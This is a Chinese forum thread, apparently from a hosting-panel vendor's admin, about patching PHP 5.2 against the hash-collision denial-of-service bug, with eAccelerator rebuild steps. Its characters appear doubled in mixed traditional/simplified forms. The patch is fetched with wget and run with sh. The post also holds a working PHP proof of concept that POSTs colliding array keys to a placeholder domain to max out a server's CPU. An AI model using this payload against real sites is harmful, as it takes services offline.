[發(fā)布] PHP5.2.*防止Hash沖突拒絕服務(wù)攻擊升級(jí)腳本

admin

ssh登錄終端，執(zhí)行如下

wget http://www.fsowen.com/in_scripts/php-52_1130.sh.txt
sh php-52_1130.sh.txt

完成后就可以


已修正
之前升級(jí)的，如果出現(xiàn) EA無法使用，可執(zhí)行如下再編譯下EA就可以

cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install

注
此腳本只對(duì)wdlinux,一鍵包及wdcp的默認(rèn)安裝有效，如不是wdlinux的安裝包或有修改目錄的，可做相應(yīng)的修改編譯
或下載php手工編譯


此BUG據(jù)說可以讓CPU100%從而達(dá)到拒絕服務(wù)，但我在幾個(gè)機(jī)器上測(cè)試，似乎沒有這個(gè)問題
這里附上測(cè)試程序

1. <?php
   
2. $size = pow(2, 16);
   
3. $array = array();
   
4. $ch = curl_init();
   
5. curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
   
6. for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
   
7.         #$array[$key] = 0;
   
8.         $argument.="a[".$key."]=0&";
   
9. }
   
10. curl_setopt($ch, CURLOPT_POST, true);
    
11. curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
    
12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
13. curl_setopt($ch, CURLOPT_TIMEOUT, '0');
    
14. curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');
    
15. 
    
16. $return['result'] = curl_exec($ch);
    
17. $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
18. curl_close($ch);
    
19. ?>

復(fù)制代碼

另一個(gè)攻擊測(cè)試腳本 http://blog.csdn.net/linvo/article/details/7169718

把上面的www.xxx.com 替換為相關(guān)的域名即可
把上面的PHP代碼保存為當(dāng)前文件如t.php
/www/wdlinux/wdphp/bin/php t.php
就可以看到效果，如果有問題，CPU就會(huì)達(dá)100%

admin

已修正
之前升級(jí)的，可執(zhí)行如下再編譯下EA就可以
cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install

admin

是前兩天修改過的，你應(yīng)該是早幾天升的吧

admin

加上memcache擴(kuò)展再編譯下

admin

在此之后的不用

admin

重起一下

可是手動(dòng)編譯試試